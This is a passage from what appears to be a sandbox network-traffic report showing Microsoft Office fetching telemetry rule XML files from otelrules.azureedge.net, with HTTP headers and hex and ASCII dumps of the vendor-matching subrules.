2024-11-17 11:35:21 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4d 6d 5d 5b 53 73 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120641" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <SR T="2" R="^([Mm][Ss][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
49	192.168.2.6	49761	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 11:35:20 UTC	192	OUT	GET /rules/rule120642v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 11:35:21 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 11:35:21 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:24 GMT ETag: "0x8DC582BB046B576" x-ms-request-id: 45d643d4-001e-0066-6189-38561e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T113521Z-16547b76f7fsq6p7hC1DFWfx6800000002kg00000000d7y9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 11:35:21 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120642" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
50	192.168.2.6	49762	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 11:35:20 UTC	192	OUT	GET /rules/rule120643v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 11:35:21 UTC	491	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 11:35:21 GMT Content-Type: text/xml Content-Length: 400 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2D62837" x-ms-request-id: 7b112b71-901e-005b-73c6-372005000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T113521Z-16547b76f7fwggrphC1DFW2a8s0000000360000000002wm1 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 11:35:21 UTC	400	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4c 6c 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120643" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <SR T="2" R="^([Ll][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
51	192.168.2.6	49763	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 11:35:21 UTC	192	OUT	GET /rules/rule120644v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 11:35:21 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 11:35:21 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7D702D0" x-ms-request-id: 316038b9-a01e-006f-2591-3713cd000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T113521Z-16547b76f7fmcv27hC1DFWgpcg00000002xg00000000chpc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 11:35:21 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120644" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
52	192.168.2.6	49764	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 11:35:21 UTC	192	OUT	GET /rules/rule120645v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 11:35:21 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 11:35:21 GMT Content-Type: text/xml Content-Length: 425 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BBA25094F" x-ms-request-id: de79bc98-401e-0064-1e9b-3754af000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T113521Z-16547b76f7fz92z5hC1DFWmdx800000002e000000000bsz8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 11:35:21 UTC	425	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 4d 6d 5d 5b 41 61 5d 5b 5a 7a 5d 5b 4f 6f 5d 5b 4e 6e 5d 20 5b 45 65 5d 5b 43 63 5d 32 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120645" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <SR T="2" R="([Aa][Mm][Aa][Zz][Oo][Nn] [Ee][Cc]2)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I=

Session ID	Source IP	Source Port	Destination IP	Destination Port
53	192.168.2.6	49765	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 11:35:21 UTC	192	OUT	GET /rules/rule120646v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 11:35:21 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 11:35:21 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2BE84FD" x-ms-request-id: 1f260c93-f01e-00aa-587d-378521000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T113521Z-164f84587bf28gjzhC1DFW35kg000000045g000000006tt5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 11:35:21 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120646" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
54	192.168.2.6	49766	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 11:35:21 UTC	192	OUT	GET /rules/rule120647v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 11:35:22 UTC	491	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 11:35:21 GMT Content-Type: text/xml Content-Length: 448 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB389F49B" x-ms-request-id: 0fe31a08-b01e-001e-2cae-360214000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T113521Z-1866b5c5fbbxkz9hhC1DFWyd7000000000x000000000091s x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 11:35:22 UTC	448	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 50 70 5d 5b 41 61 5d 5b 43 63 5d 5b 48 68 5d 5b 45 65 5d 20 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120647" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <SR T="2" R="([Aa][Pp][Aa][Cc][Hh][Ee] [Ss][Oo][Ff][Tt][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR>

Session ID	Source IP	Source Port	Destination IP	Destination Port
55	192.168.2.6	49768	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 11:35:21 UTC	192	OUT	GET /rules/rule120648v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 11:35:22 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 11:35:21 GMT Content-Type: text/xml Content-Length: 491 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B98B88612" x-ms-request-id: d2131438-301e-006e-59dc-37f018000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T113521Z-164f84587bf5rpzqhC1DFWmra8000000047g000000006tvu x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 11:35:22 UTC	491	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120648" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
56	192.168.2.6	49769	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 11:35:21 UTC	192	OUT	GET /rules/rule120649v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 11:35:22 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 11:35:21 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:21 GMT ETag: "0x8DC582BAEA4B445" x-ms-request-id: bdecc517-a01e-0050-3dc0-37db6e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T113521Z-16547b76f7fxqj4khC1DFWpypw00000001pg000000002303 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 11:35:22 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 46 66 5d 5b 45 65 5d 5b 44 64 5d 5b 4f 6f 5d 5b 52 72 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120649" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <SR T="2" R="^([Ff][Ee][Dd][Oo][Rr][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port
57	192.168.2.6	49770	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 11:35:22 UTC	192	OUT	GET /rules/rule120650v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 11:35:22 UTC	491	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 11:35:22 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989EE75B" x-ms-request-id: a914475d-501e-00a0-6190-379d9f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T113522Z-16547b76f7fp6s5dhC1DFWe28g00000001f0000000006usy x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 11:35:22 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120650" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
58	192.168.2.6	49771	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 11:35:22 UTC	192	OUT	GET /rules/rule120651v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 11:35:22 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 11:35:22 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: 12429fe2-201e-00aa-2d91-373928000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T113522Z-1866b5c5fbbx98hfhC1DFWuqmg00000002zg000000006951 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 11:35:22 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 47 67 5d 5b 4c 6c 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120651" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <SR T="2" R="([Gg][Oo][Oo][Gg][Ll][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
59	192.168.2.6	49772	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 11:35:22 UTC	192	OUT	GET /rules/rule120652v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 11:35:22 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 11:35:22 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97E6FCDD" x-ms-request-id: 608c19dc-201e-005d-1a7c-37afb3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T113522Z-164f84587bfjxw6fhC1DFWq94400000004c0000000006dvk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 11:35:22 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120652" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
60	192.168.2.6	49773	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 11:35:22 UTC	192	OUT	GET /rules/rule120653v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
